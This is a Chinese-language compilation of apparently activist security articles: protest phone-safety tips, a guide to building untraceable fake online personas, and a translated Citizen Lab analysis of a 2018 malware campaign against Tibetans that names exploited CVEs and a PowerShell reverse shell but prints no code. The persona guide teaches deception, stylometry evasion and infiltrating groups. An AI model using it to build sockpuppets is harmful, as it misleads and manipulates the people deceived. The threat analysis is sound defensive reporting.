全盘加密确保整个设备上的文件都被加密。与传输加密相比，这是一种保护静止数据的加密形式，全盘加密可保护从本地数据库文本信息到您存储在浏览器中的密码。如果您的设备被警方没收，这样做会很有用，在丢失或被盗的情况下也可以保护您。抗议现场的状况往往是不可预测的，警方经常抢走参与者的通讯设备，小偷也混迹其中。

Android 和 iOS 的最新版本需要将全盘加密功能内置到设备中，应该由一个强大的密码保护：8-12个随机字符。如果设备不受强密码保护，则使用暴力攻击可能更容易破解加密。最近的 iPhone 版本采用了专门的硬件来抵御这种类型的攻击，但复杂的密码仍然是必需的。

2. 删除指纹解锁

以前 iOS 和 Android 都是使用密码来解锁的，然而如今它们全允许指纹了，一些图省事的人或者对新鲜事物如饥似渴的人会倾向于使用指纹解锁，但如果你参加街头运动，这种方法会给你带来麻烦。因为警察可以强迫你用指纹解锁设备。目前法律层面上针对强制指纹解锁的保护措施几乎很少被披露。

在抗议结束后，您可以随时将指纹添加回设备。在 iOS 中，您可以通过进入设置 – 」Touch ID & Passcode 并删除此菜单中的每个指纹来禁用此功能。在 Android 中，禁用此功能可能取决于您的设备制造商是谁。对于 Nexus 设备，进入设置 – 」安全 – 」 Nexus Imprint 并从该菜单中删除指纹。

3. 无需解锁设备即可拍摄照片和视频

抗议活动中所有人都希望拍摄现场影像，如果你选择的是强密码，输入会比较花时间，有可能让你错过最精彩的瞬间。幸运的是，iOS 和 Android 的新版本都允许您在不解锁设备的情况下拍摄照片和视频，所以抗议过程中最好不要解锁设备。

4.安装 **Signal**

Signal 是 iOS 和 Android 上都可用的应用程序，提供强大的加密功能以保护短信和语音通话。其他应用程序（如 WhatsApp）已经实施了底层加密。但我们认为 Signal 是更好的选择，因为它实现了安全通讯的最佳实践。

除了一对一私密交流之外，Signal 还启用了加密群聊。该应用程序去年还添加了消息在第一次阅读后可设置从 10 秒到一周内自动消失的功能。与 SnapChat 等其他相似服务相比，这些设置为定时消失的消息永远不会存储在任何服务器上，并在消失后也从您的设备中删除。

去年弗吉尼亚东区的一个大陪审团向 Signal 的维护者 Open Whisper Systems 发出了传票。由于 Signal 的架构限制用户元数据存储在公司服务器上，他们能够提供的唯一数据只是用户在 Signal 上注册的日期和时间以及用户连接到 Signal 服务的最后日期。

你知道它有多安全了吧。

5. 使用预付费的一次性手机

如果您非常担心设备上存储的数据，那就不要随身带着手机，选择预付费的一次性手机。可以与 SIM 卡一起购买，在美国部分州是实名制购买的。让你的朋友知道你的临时号码，并用它来协调活动。

移动设备的位置可以通过它们连接到的手机信号塔来确定，因此如果您不想暴露身份，请在回家时或任何可能导致您身份暴露的地方关闭预付费设备。使用 GPS 应该是安全的，因为 GPS 是一个接收器，不会传输任何信息，但您的设备可能会存储坐标。出于这个原因，我们

建议您关闭位置服务。

请记住，如果您同时携带普通设备和预付费设备，这些设备的位置很可能会被关联起来，从而危及您的匿名性。

6. 备份您的数据

采取预防措施来限制丢失设备可能导致的损失。定期备份数据并将该备份存储在安全的地方可以在以后避免头疼。

7. 考虑骑自行车或步行参加抗议

自动牌照读取器系统（ALPR）会自动记录在一个区域内行驶的汽车的牌照，以及确切时间，日期和位置。这项技术经常被执法部门使用，或被私营公司如 Vigilant 和 MVTrac 使用，然后与执法机构和其他实体共享车牌数据。

这些数据储存在庞大的数据库中，根本不知道会保存多久。随着时间的推移，您的位置可以通过驾驶习惯被预测出来，并进行跟踪，对于如何收集和访问此数据的法律限制很少。如果你希望参与的运动和所在组织保密的话，那就别开车。

8. 启用飞行模式

飞行模式可确保您的设备在抗议过程中不会传输数据，并防止您的位置被跟踪。当然这也意味着你将无法发送消息或打电话，所以要按照相应的计划。你们应该事先商定聚会据点，使用传统的方法（标志物或标签，只有相关人能理解的暗号）来保持联系。

9. 最好不要使用 **Twitter** 或 **Facebook**

这些社交媒体平台的风险非常高。你查看活动页面、评论活动以及说明您的参加意向这些信息是执法部门最密切关注的东西，如果这些页面和帖子是公开的，有时即使不是公开的，都可以被调用来瞄准你。如果你不想被提前维稳的话，建议通过 **Signal** 形成群聊。

此外，由于现场将有很多人随时在拍摄，如果你不想在此后被警方识别出来的话，请戴上口罩或者面罩（在美国有些州禁止戴面罩，需要参考当地法律）。

拍摄元数据能证明您的影像资料的可信性，我们在这篇文章中介绍了媒体识别图像视频信息的基本功，其中提到了这点，但是如果你希望

保密个人身份信息的话，元数据必需删除。

Guardian 项目制作了一个名为 InformaCam 的工具，该工具允许您存储元数据以及关于用户当前 GPS 坐标，海拔高度，指南针方位，照度计读数，相邻设备签名，手机信号塔和 WiFi 网络等信息; 可借此用于阐明拍摄数字图像的确切环境和背景。

如果您拍摄照片或视频，警方也可能会设法扣押您的手机以获取该材料作为证据。如果你从事新闻工作，可以主张记者有权保护未发表的材料。请事先了解相关法律，以维护您的权益。

如果你被捕了，警方可能会强迫你交出密码，注意维护自己的权利，要求律师不在场的情况下拒绝回答问题。在美国，第五修正案可以保护你免于被迫向政府提供自证其罪的证词，但是如果警方可以论述交出密码和加密密钥不会导致“证明行为”（例如证明您对数据有控制权）那么第五修正案可能就无法保护你了。这需要律师帮你根据现场状况做判断。

警方不能强迫你交出密码，但并不意味着他们不能给你施加压力。警方可能会以其他理由拘留你，如果他们认为你拒绝合作，可能会入狱而不是立即被释放。要做好相关准备。

原文

AS25 角色扮演：行动者刚需 - iyouport

护盾（AS）

【2019年7月12日存档】可能您有很多理由需要在网上有意识地创建一个或多个、虚假的、匿名的或假名的身份，尤其是作为正义的目标，它很重要。我们来详细说说这事大致应该怎么做……

你不是 troll 我知道，但是人们可能有很多理由需要在网上有意识地创建多个、虚假的、匿名的或假名的身份，尤其是作为正义的目标，它很重要。比如：

- 参与当下的行动、而避免过去或将来的信息被用来作为参照。比如你声援一位敏感人士，或者你准备发布一些紧要的机密信息；
- 采取新身份成为一个自然而然的人，无拘无束地发表言论。这应该非常参见；
- 游戏、爱好、（在线）角色扮演、与 trolls 展开战斗、防御大规模监视、为监视制造混乱等等，你可以大胆行事，化身不会自动成为你的真实身份的一部分；
- 仅仅希望在线生活更具弹性；
- 通过分离专业和私人信息，提高个性、自主性和自由度；
- 挑战自我，抓住优势；
- 内容营销和自我权威……

可能很多人会觉得自己很擅长伪装，我承认这的确是部分人的天赋，但不一定所有人都了解该如何彻底切断与真实身份的联系，包括那些自认为擅长者。今天来大致说说这件事。伪装术亦正亦邪，其性质完全取决于您的目的。

本指南仅讲述在线伪装。关于现实中的伪装术详见 IYP 类目“社交工程”部分。

下面我们开始。

——起步 设定形象——

注意事项如下：

– 不要使用名称或物理描述来启动这一伪装角色。因为我们所有人都有很多关于名字和体型的先入为主的想法。如果你从一个名字或外表切入，这个角色就会自动携带很多你自己甚至可能都不知道存在的信息。比如，首先映入你脑海的字样，它就存在于你的个人经验和性格中，也许你没有发现它和自己的关系，但是对于挖掘你真实身份的人来说，这就是一个有效的线索。扮演游戏中你的原则应该是：彻底切断伪装身份和真实身份之间的联系。随时谨记这一原则。

– 如果可能的话首先探索一下。如果你有时间，可以试着适应一下角色所处的环境，以便正式运行时你可以自如发挥而不会出格。每个上下文都有自己的“味道”，并且有趣的部分是要知道在特定（一组）上下文中什么是不可能的、什么是可能的。上下文也可以成为挑选角色的灵感来源。总之，你的角色是“一个真实的人”，它应该血肉丰满合乎逻辑。

– 给自己设置一些问题。用戏剧性的需求和强迫来培养你的角色品格。这个角色想要什么？要避免什么？问问自己，你想对这个角色做些什么。例如，如果你要引导这个角色进入大众视野，你的能量必须与你将要扮演的角色相匹配。如果你的个性或心理构成特点无法让你轻松发挥某些特定的作用，那么就不要尝试，避免出错。

– 与你的角色感同身受，但不是同情。将角色扮演设置为你熟悉的事，当你扮演的是恶棍时，你必须成为那个恶棍。你必须明白恶棍的行为和思考方式。这些时刻的感同身受可能是一种痛苦，但你不能让感同身受变成同情并诱惑自己让恶棍脱离情境。审视自己人性中的黑暗面，以提供一个可信的邪恶角色。这只是举一个比较极端的例子，比如当你想深入敌人内部的时候，这种方法用得到。只有当他们把你当成自己人时，你才有希望达成目的。

– 花时间进行实验。也就是我们一直强调的，多练习，直到融为一体。

——给你的角色一个故事——

越来越多的心理学家认为，生活在现代社会中的人们通过构建和内化自我定义的故事来赋予生活的意义。

无论如何，“用故事讲述身份”的做法对我来说似乎很过时了，相反，采取一个带故事的新化身会使维护这个角色变得容易得多。

你可以编造自己的故事，使用“已知”人物的故事，或添加其他故事情节（将故事放在另一个背景中，而不是故事起源的地方）都会非常有趣，一个像匿名者那样的“群体身份”，但并不是一个传统的有形的组织，等等。

故事的目的是在任何时候任何对话中你的角色都能自然而然并符合逻辑地自圆其说。角色就是一个人，它虽然与你毫无关系，但你必须变成它，才能自如地控制它。

——细化品格——

– 创建角色的名称和外观。所有一切信息都需要协调，这非常重要。没错在现实中的确存在身份信息不同方面存在不协调的真实的个人，但是角色扮演不能这样做，以避免引人注意。你的主旨应该是融入，而不是出众。

– 为（每个）角色建立个人资料。关注在角色开发阶段中你可以找到的任何缺失元素，补充完整。

– 添加一些情感。情绪远远超出/微笑/调情和/害羞，它应该更加丰满，并且随时注意要贴近您希望该角色表达的主题。

– 定期重新访问您为角色制定的配置文件和方案，以进一步调整和细化。调整一定要以整体逻辑不变为宗旨。

– 准备好让你的角色和他们的反应带来惊喜；就在你知道自己可以游刃有余的时候。

——讲故事和作者识别——

随着互联网让我们之间的沟通变得越来越多，我们每个人留下的语言指纹也为调查人员提供了诱人的线索，为语言学取证的小而有影响力和不断增长的领域做出了贡献，并为其有争议的子专业—— 即 作者识别，做出了贡献。

要查看您留下的一些语言指纹，您可以使用 Java 图形作者归因程序，这是一个方便的应用程序，可用于文本分析和作者归属。作为基于 Java 的模块化程序，它可以在任何安装了 Java 版本的计算机上运行。

在作者或博主的词汇表中提取一百个最常用的单词。此步骤消除了罕见的单词、字符名称和情节点，连接词似乎没什么特别的，但是它的使用数量和频率是一个很强的参考值，它们可以在任何一个词上留下作者的“指纹”。

无论你发现了什么都只是线索，而不是无可辩驳的证据。取证语言学的起源可能很古老，但这种分析目前正再次兴起。限制因素一直是时间和精力，但随着电子书和博客随时可用，几乎可以针对任何作者快速分析。

这对于那些寻求化名以实现言论自由的作者和博主来说简直太糟糕了，除非使用某些替换方案（配置你的自动更正应用程序）作为创建可靠角色的一部分。这可能还不够，取决于具体情况。

Chaski 认为关键不在于扫描文本—— 无论是通过眼睛还是机器——这只适用于肤浅的特质，而是用于表达句法结构的语言学家研究。她没有透露她的方法是如何运作的，但她表示已经通过“组成结构”的分析模式达到了约 95% 的准确率，通常是人们下意识在一个句子中组合短语的习惯。

她解释说，有些人会产生复杂的名词短语和简单的动词短语；其他人会产生复杂的状语短语，等等。通过不仅关注词性，而且关注如何使用这些词性，她的分析似乎摆脱了对词语和拼写的依赖。

如果我们的语言确实与我们的 DNA 一样独特，只能说我们还没有解码它。很快就会有人因基于他们的文字中找到的线索而被定罪吗？这是一个很大的问号，就像调查取证和法庭中已经被接受和广泛使用的一些生物识别技术一样。

推荐一个研究报告 PDF《 Empirical evaluations of language-based author identification techniques 》如果您对此感兴趣，希望它有所帮助。尤其是当您秉持匿名原则时，语言分析取证对您来说有可能是致命的。

——似是而非的否认——

“似是而非的否认”是指受试者可以安全和可信地否认可能存在的任何特定事实的情况，因为该受试者故意不知道所述的真相，从而使受试者从任何责任中受益或受到保护。这是它的基本定义。

为您的角色添加似是而非的否认模式可能会很有用，因为监视系统可

以关联所有类型的信息、但却无法解释非信息，贝叶斯逻辑也不能处理角色扮演与无知之间的差异。这个问题更多关于“混淆监视系统”，可参见关于 Non-classical logic 的分析资料。

网络：以某种方式自动转发某些类型的广播，使得文件的原始发送者与仅仅转发它的人无法区分，允许首先发送文件的人声称只是转发者，并且如果没有与该人的计算机之间的所有网络连接的完整解密日志，则无法证明此声明。freenet 文件共享网络和审查解决方案，例如通过模糊数据源和流来保护运营商和网络用户，防止审查者知道数据来自何处以及存储在何处。

可否认的磁盘加密：使用隐写术，其中加密文件或消息的存在是可否认的，因为攻击者无法证明存在加密消息。关于隐写术更多参见《隐写术的小心机》。

下面总结并补充一下：创造一个可靠的角色——

虚拟角色或身份不能只是具有邮件地址和一系列 Web 帐户的名称。如果我们保留所有正常的识别特征—— 例如性别、工作、态度或我们写作的方式—— 那么有人就可能找到关联点并将我们创造的假人物与我们的真实身份联系起来。

语言指纹—— 要考虑的第一件事是语言指纹。这是可识别的，文本分析识别工具正在越来越多地被使用，即使对于非专家来说也是如此，这使得可以识别特定文本的作者。

例如，可以通过我们写出的某些单词、典型的错别字、以及我们的风格和语调的特定方式来识别真实身份。要避免它，可以先在字处理程序中使用拼写检查器来检查是否存在一致的拼写错误；也可以考虑采用不同的写作态度。

为了简单起见，可以为每个角色采用一套简单的规则，例如，只使用大写字母的怒目圆睁风格，或者是只使用小写字母的低语者风格，或者表现非常兴奋、带有很多感叹号，或者故意拼写错误、总是将撇放在错误的地方等。

工作—— 为了确保假身份无法追溯到我们的真人，被创造角色应该有一份与我们不同的工作，但你不能对该领域一无所知：例如，不应该在对解剖学一无所知的情况下假扮外科医生。

技能和兴趣—— 应该类似的考虑选择角色的技能和他们关注和写下

的主要话题。当然，这些可以重叠，例如，撰写国家政治的记者可能有另一种身份，谈论国家政治，但只是随便说说而已（他们的主要兴趣将是不同的东西，如木工或女权主义或美食）。

心理态度—— 至于心理态度，一个好的经验法则是通过创造一些“弱点”来给予我们的角色以人格深度，但要仔细选择它们，这样，如果弱点受到攻击，我们就能够抵御，甚至在这个过程中获得一些乐趣。例如，如果你有一种非常强烈的幽默感，就可以选择严重缺乏幽默作为角色的最大弱点，这样如果这种弱点受到攻击，就可以享受冒充幽默的角色而不会真正受到心理伤害。

最重要的是要记住，在互联网上，我们的每一个身份—— 甚至是与我们的真实姓名相关的身份—— 都是一个“虚拟”身份，而且最好决定你想要在每个身份中暴露哪些性格特征。即使对于我们的“真实”在线身份创建一个有点虚构的角色，也是一个好主意。

创建在线资料—— 一旦创建了几个角色，重要的是让它们在我们的物理和数字生活中切分开。虽然记录我们的身份可能有助于确保自己记住设定的故事，但也可以采取技术措施来确保个人资料保持独立。

一个好的开始是为每个身份创建不同的浏览器配置文件、邮箱和社交网络帐户。一个好的经验法则是：始终为每个帐户/身份使用不同的应用程序，如果可能的话，将每个设备或操作系统区分为不同的身份。

创建新邮箱时，最好使用 Torbrowser 连接，如果需要联系电子邮件地址，请考虑使用一次性电子邮件地址。详见《伪装＋擦除—— 在线隐身的重要步骤》

一次性电子邮件地址：对于某些活动和社交领域，我们需要管理一个圆润的角色，以获得社区其他成员的良好声誉和信任。但是，在某些情况下，所需要的只是一次性电子邮件地址，只需要使用一次或几次，例如在不受信任的平台上开设帐户。

即使你决定在线只有一个身份，使用一次性电子邮件地址也可以防止网站建立关于我们活动的历史记录，并确保如果该帐户遭到入侵，可以简单地删除它并创建一个新的，保持数字生活完好无损。

有许多服务提供一次性电子邮件地址。一些最具隐私的是：https：//anonbox.net，由混沌计算机俱乐部提供，和 https://www.guerrillamail.com

生成个人详细信息的工具：Fakena.me是一个面向隐私保护的“虚假名称生成器”，可以为您提供一切可靠的名称、出生日期和（美国）地址、用户名和密码以及指向已连接的邮箱的链接。另一个名为 Instant Internet Decoy（https://decoys.me）的类似服务也创造了令人信服但完全虚构的人，他们的生日、在多个国家/地区的家庭、甚至回答常见的安全问题。

还可以使用现有的虚假或一次性电子邮件帐户。BugMeNot（http://bugmenot.com）允许人们分享他们为免费注册平台创建的电子邮件登录名和密码，供任何人使用。

另一种选择是创建邮件别名—连接到你的主邮箱的其他电子邮件地址。这种方法的优点是该电子邮件帐户不会过期，如果它被泄露，那就处理它并创建一个新的。但当然，如果别名收到大量垃圾邮件，它将填满你的主邮箱。

虽然并非每个邮件服务都允许用户创建邮件别名，但此服务提供给 Riseup（https://we.riseup.net）和 Autistici / Inventati（https://www.autistici.org）的每个邮件用户，这两个都值得推荐，特别关注隐私权和匿名权。

更多措施我们将在下周的同一栏目中详细讲述，关于“数字阴影及其防御”。

关于社交工程，推荐一个纪录片：Beyond Social Engineering: Tools for Reinventing Yourself

——关于语言学取证，另外推荐一些资料，包括两个纪录片——

The meta book and size-dependent properties of written language http://arxiv.org/abs/0909.4385 (2009)

On Linguistic Fingerprinting http://thelousylinguist.blogspot.nl/2009/12/on-linguistic-fingerprinting.html (2009)

Empirical evaluations of language-based author identification techniques http://nlp.cs.swarthmore.edu/~richardw/papers/chaski2001-empirical.pdf

The role of forensic linguistics in crime investigation http://www.academia.edu/3573524/

The_Role_of_Forensic_Linguistics_in_Crime_Investigation (2012)

Syntactic Stylometry: Using Sentence Structure for Authorship Attribution http://www.ai.uga.edu/sites/default/files/theses/hollingsworth_charles_d_201208_ms.pdf

Linguistic Hacking [24c3]

Automatic Sentiment Detection in Terry Pratchett's Discworld @ ELC3—Santiago de Compostela, Spain

○□

原文

AS27 网络战：社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？ - iyouport

护盾（AS）

【2018年8月12日存档】压制性政权越来越擅长利用数字间谍来镇压异议并扼杀国内外的反对，甚至在民主国家也是如此。美国公民社会组织报告的威胁所占比例为第二大，仅次于中国—— 最新报告，分析技术局势

十多年来，民间社会组织（CSO）一直受到来自大公司和政府的几乎相同强度的攻击，不仅威胁言论自由，而且威胁民主本身。

2009 年因窃取了谷歌源代码而“走红”的 Aurora 行动，其另一个主要目标似乎鲜为人知，那就是：西藏社区。

从那以后，国家支持的数字间谍活动越来越多地被用来对付全球的记者、活动家和人道主义团体。重要的是，尽管面临着与大公司相同的高级威胁，但公民社会组织非常脆弱，缺乏资源难以建立有效应对措施和获得外部帮助，使其极易受到攻击—并且随着威胁的不断发展，应对难度越来越大。

一种令人担忧的趋势已经非常明显：专制政权越来越擅长利用数字间谍来镇压异议并扼杀国内外的反对意见。

今年早些时候，哥伦比亚大学国际和公共事务学院与公民实验室的研究人员举办了一次研讨会，研究民间社会组织面临的数字威胁，以及他们在减轻这些威胁方面遇到的障碍。确定了以下六项挑战。

首先是，资源匮乏。学者们需要花时间和精力来推测网络冲突，更不用说还要收集和分析经验数据了。与此同时，像公民实验室这样的独立研究中心以及电子前沿基金会、人权观察和 Access Now 等非营利组织已经创建了一系列关于公民社会组织目标威胁的宝贵报告。这些组织提供高质量的研究，但由于资金和人力限制，其产出有限。私人

网络安全行业获得了更好的资金支持，有能力收集有关目标威胁的大量数据，但它是由商业利益驱动的，而这些利益通常不会优先考虑民间社会。

其次，针对民间社会组织的有针对性的数字威胁不仅仅局限于专制国家，而是一种全球性的威胁，因为这些政权越来越警惕民间社会，还能跨国攻击。下图显示了网络安全公司和独立研究中心对公共威胁报告的分析数据。

很大一部分威胁活动是针对自由民主国家的公民社会组织的—— 在美国，公民社会组织报告的威胁所占比例为第二大，仅次于中国。由于民间社会对于运作民主至关重要，专制政权通过数字手段向海外投射权力的趋势是对全球民主的严重攻击。

第三，技术发展为监督和间谍活动创造了新的机会，逃避了现有的监管和规范框架。情报部门和私营部门可以通过支持新市场的开发来利用这一灰色地带，例如商业间谍软件。虽然存在合法拦截的法律案件，但问责制正面临着严重的挑战，因为这些间谍工具被要求保密！这使得民间社会处于危险之中，正如围绕间谍软件提供商的诸多争议所显示的那样，如 FinFisher、Hacking Team 和 NSO 这些可恶的监视技术销售公司，其销售能力与领先的情报机构几乎一样，完全可以与几个专制政权相提并论。

延伸阅读：《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》

第四，当大多数攻击实际上依赖于社会工程学技术时，将重点放在开发技术的解决方案上是错的。虽然像美国的漏洞权益流程（VEP）这样的举措是一种潜在的有前途的方法以规范技术漏洞的披露，但是，它无法解决越来越多地使用社交工程技术来利用人的行为心理弱点而发起的攻击—— 例如好奇心，人类的下意识信任倾向和对社交的渴望、对缺乏关注的担忧。（后面我们会陆续详细介绍社交工程学骗局的实施，这个时代每个人都应该掌握一些这样的知识）

因此，单独调节技术手段就会忽略掉大多数威胁。在很多针对公民社会发起的攻击中，更多的努力被花费在有效的社会工程上，用于欺骗目标打开恶意附件或链接，而不是利用技术本身的漏洞，后者已经被黑市炒得很昂贵了。（您可以在这里看到一些介绍《危险：监控技术公司正在推动对零日漏洞的利用》）

第五，很难量化间谍活动对目标公民社会组织的影响，特别是在长期

范围内。攻击对公司和政府机构的影响可以通过其财务损失和泄露的敏感数据量来定量衡量，但影响公民社会组织的攻击很少导致财务损失，其导致的是逮捕和迫害目标个人及其家庭成员的人权，以及由于异议人士的个人帐户被盗取，被用于在社交网络上传播恶意软件，从而导致的是对异议群体内部互信问题的更长期的影响。

第六，没有一个通用的解决方案可以减轻公民社会组织面对的这种威胁。每个社区都会受到威胁，目标也不同。来自中国的威胁组织所针对的西藏侨民群体，可能与该政权和其他非国家行为组织针对叙利亚反对派成员发起的攻击，有着截然不同的威胁模式。

任何这些挑战都没有简单的答案。尽管如此，权利组织、政策制定者和科技公司都可以采取一些措施来改善公民社会组织的网络安全。

更重要的是，公民社会组织应该普及自我防御知识，加强应对危险的敏锐度，但目前似乎一些措施并不到位。去年一位公民社会的活动家拒绝了我发送的一封电子邮件，由于邮件附了一个很长的文档，他告诉我他不会打开任何附件和链接（甚至是来自熟人的，因为无法判断对方的邮箱是否被劫持了）。这种警惕性值得赞扬，但拒绝一切岂不是耽误工作了吗？实际上你完全可以使用基本技术把危险隔离出去，避免受到伤害，这里是具体措施的介绍。

以下是来自公民实验室的最新报告，作者：Geoffrey Alexander, Matt Brooks, Masashi Crete-Nishihata, Etienne Maynier, John Scott-Railton, 和 Ron Deibert。以今年发生的藏人活动家被攻击事件为例，具体分析这一攻击的技术和心理利用特征。请不要认为汉族和其他民族就能幸免，没人能做这样的保证。要知道，这种攻击方式已经出现在中国！

主要发现

「图」

- 本报告分析了2018年1月至3月间针对西藏活动家、记者、西藏流亡议会(Tibetan Parliament in Exile)成员和西藏流亡政府(Central Tibetan Administration)的恶意软件攻击活动。
- 详细介绍 了对西藏 NGO 的入侵行动，并简要分析了入侵者在感染后的行为。
- 最近的这次攻击活动,以及公民实验室在 2016 年报道过的一次攻击, 都与一项更广泛的被称为“热带骑兵(Tropic Trooper)”的活动有关。这些关联的强度和意义仍在评估。

- 本报告研究了与调查封闭式间谍活动生态相关的挑战，准确描述了参与者及其造成的危害的重要性。

介绍

「图」

2018年1月，一位西藏活动家收到了一封看似平凡的电子邮件，自称是一个非政府人权组织的节目更新。邮件的附件是一个 PPT 和一个文档。与很多流亡藏人一样，这位活动家已经对这种不请自来的带着附件的电子邮件抱有警惕，他没有打开附件，而是把附件交给了公民实验室的研究人员。

他的怀疑是对的：附件是恶意的。如果点击了这个附件，它就将利用最近的漏洞用定制的恶意软件感染 **Windows** 计算机。这封电子邮件是2018年1月至3月期间针对西藏活动家、记者、西藏流亡议会成员和西藏流亡政府的恶意软件活动的开始。

公民实验室与目标群体密切合作，收集这些恶意邮件，并且与受感染的组织启动了事件响应。这种合作便于进一步了解攻击者使用的策略、技术和程序。

这一系列活动使用社会工程学技巧来欺骗目标打开利用了 **PowerPoint** 的**CVE-2017–0199** 漏洞和微软富文本文件**(RTF)** 的 **CVE-2017–11882** 电子邮件附件。恶意软件包括了我们称之为 **DMShell＋＋** 的 **PowerShell Payload**，以及名为 **TSSL** 的后门，还有我们称之为 **DSNGInstaller** 的善后工具。

我们称最近的这次活动为“重浮水面”活动，因为它与2016年针对西藏流亡议会成员的活动有关（我们称其为“议会活动”）。出现这种关联可能是因为它们是由相同的小组发起的，或者是在多个小组之间共享工具和基础设施。

流亡藏人：一个被高度瞄准的群体

「图」

数字间谍活动的威胁是流亡藏民需要面对的现实，他们十多年来一直是恶意软件活动的目标。

从历史上看，这些攻击严重依赖于利用已知漏洞和远程访问木马

(RAT)的恶意附件。这种策略可能是基于对于资源贫乏的民间团体的基本风险回报计算：如果他们使用没打补丁的系统，那么使用简单的技术工具就足够了，为什么还要冒着暴露更复杂的技术工具的风险呢？

相反，攻击者们似乎把他们大部分的创新都集中在了聪明的社会工程剂量上，并采用了“恰到好处”的方法。我们观察到的有限的技术创新可能是出于长期访问和持久性的现实需求，而不是为了更复杂的目的，例如模糊恶意软件作者的身份或者防止反编译。

转变战术?

「图」

自 2016 年以来，针对藏族群体的恶意软件活动的报告数量出现了大幅下降。取而代之的是，我们观察到这些活动转向网络钓鱼以获取在线账户的登陆凭证。

这一变化的一个值得注意的例外是议会活动，它使用已知且已被修补的漏洞来传播名为 KeyBoy 的定制恶意软件。此次攻击活动是自议会活动以来我们首次观察到的针对藏人社群的有针对性的恶意软件活动。

熟悉的联系

「图」

重浮水面活动使用了与议会活动不同的漏洞和 Payloads，但是使用了相同的链接。这两个活动都使用了相似的钓鱼信息，都是针对西藏流亡议会成员定制的。重浮水面活动中的一个用来发送钓鱼邮件的地址(`tibetanparliarnent[@]``yahoo.com``)在议会活动期间也被反复使用 。

在常用工具与代码的相似性上，这两个活动还与一个更广泛的称为“热带骑兵(Tropic Trooper)”的行动相关联，这个行动至少始于2012年，在2015年由趋势科技首次报告。热带骑兵行动针对的是台湾和菲律宾的政府和公司，其标志是使用包括**Yahaoyah**, **Yahamam**, 和**TSSL**在内的恶意软件。而重浮水面活动因为使用了 TSSL 而与热带骑兵联系到了一起。议会活动则因为 Keyboy 和 Yahaoyah 之间的代码相似性而被发现了关联。趋势科技指出，**Yahoyah** 与**2013 年发现的 KeyBoy** 使用了相同版本的配置文件编码

算法。

如果重浮水面活动与议会活动的背后是同一攻击者，那么他们似乎对自己的工具进行了有限和渐进的改进。然而，这些改进很小，而且不太可能花费太多成本。活动中使用的漏洞代码和 Powershell 代码都是公开发布的。漏洞代码在 Github 上就能找到，而 DMShell++(Powershell的Payload) 是用网上的代码改写的。

封闭的间谍生态：一项分析挑战

「图」

这些类型的活动使用封闭间谍生态定制的恶意软件，其中涉及的各方（例如，编写恶意软件的开发人员、攻击者、和鼓励开展这些活动的情报人员）难以识别和完全分割。情报人员可能是主动地在管理工具开发与目标选择，也可能是被动地奖励那些获取了他们感兴趣的目标信息的攻击者。比起商品化的恶意软件工具包（例如用于间谍活动的网络犯罪工具）或者政府专有的恶意软件（例如来自NSO集团的产品），对于封闭的间谍生态的花费和投入是难以计算的 。

封闭间谍生态中的“攻击者”经常能够被通过使用相同的工具和基础设施识别出来。这种归因分析能够把各种事件聚集成可识别的模式和指标。然而，小偷可以在不同时间使用不同的撬棍。例如，看似不同的活动和攻击者可以通过被 FireEye 称为“数字军需官”的东西联系在一起。

“数字军需官”是指在多个活动和小组之间共享的恶意软件开发和基础设施的资源。了解恶意软件活动中使用的工具和策略可以让人深入了解其技术能力，并且能让分析师跟踪一段时间内的活动，但仅凭这些并不能揭示攻击者收集的信息是如何被情报客户所使用的，也无法得知其对民间团体会造成怎样的伤害。

本报告分为一下几个部分：

第一部分: 重浮水面活动 —— 描述了2018年1月至3月间针对藏族群体的重浮水面活动。

第二部分: 调查妥协 —— 描述了一个西藏 NGO 的妥协，并分析了感染后攻击者的行为。

第三部分: 熟悉的联系 —— 突出了议会活动与重浮水面活动之间的关

系，以及与被称为“热带骑兵(Tropic Trooper)”的行动之间的关系.

第四部分: 封闭间谍生态和识别危害 —— 讨论了分析封闭间谍生态的挑战，并将我们的调查置于针对流亡藏人的更广泛数字间谍活动趋势中。

第一部分:重浮水面活动

「图」

本节介绍 *2018* 年 *1* 月 ~ *3*月间针对藏族群体的重浮水面活动。

活动概述

「图」

我们观察了2018年1月16日至3月2日的重浮水面活动，并收集了7封针对西藏活动家、记者、西藏流亡议会成员和西藏流亡政府(Central Tibetan Administration, CTA)的钓鱼邮件。

这些邮件的发件地址模仿了西藏 NGO 或 CTA 工作人员的电子邮件地址，并且分享了有关宣传活动，文化活动和管理公告的内容。我们验证了其中一些信息是在社交媒体上公开发布的 ，而其他信息可能是从公共信件或者私人信息中手机传送的，这些信息可能是之前就被攻击者窃取了的。1月22日的钓鱼邮件是从 `tibetanparliarnent[@]``yahoo.com``` 发送的，该邮件地址在议会活动中也被用于发送多个钓鱼邮件（参见图1）.图*1: 2018*年*1*月*22*日发送的钓鱼邮件重用了 *2016* 年议会活动中使用的电子邮件地址

虽然议会活动和重浮水面活动使用了类似的社会工程策略和相同电子邮件地址来发送鱼叉式网络钓鱼邮件，但重浮水面活动使用了一种不同的、更新的恶意软件工具包。

在八次入侵尝试中的六次中，攻击者发送了一个 Microsoft PowerPoint 文件，利用 2017 年披露的一个漏洞（ CVE-2017–0199 ），旨在从远程服务器中投放用 Microsoft PowerShell 脚本语言编写的 Payload。 在 2018年1月的两次早期入侵尝试中，运营商还利用了 RTF 文档的漏洞（ CVE-2017–11882 ）。图*2* ：提供了重浮水面活动的时间表，突出显示了钓鱼邮件的发送时间和使用的漏洞。

感染链：**CVE-2017–0199** 和 **DMShell** ++

「图」

该活动中最常见的感染链是使用 PowerPoint Open XML 幻灯片文件（PPSX）利用 CVE-2017–0199 加载我们称之为 DMShel＋＋ 的远程 Payload，这是一种用 Microsoft 的 PowerShell 脚本语言编写的基本 TCP 反向 shell。

我们在一个名为“DM_”的乌云（中国黑客论坛1）账号的公开发帖中观察到了一个非常类似的，虽然更简单的 DMShell＋＋实现。 我们将在调查中发现的版本称为“DMShell＋＋”，参考了它的乌云用户名，并结合他使用其他基本命令逐步更新 Wooyun 版本的事实。

我们观察了表1中列举的域名上托管的 DMShell＋＋ 版本。但是，我们没有持续监视这些域名，因此攻击者可能使用了表中未列出的其他配置。表*1*：在不同 *DMShell*＋＋ 样品中观察到的 *C2* 配置列表

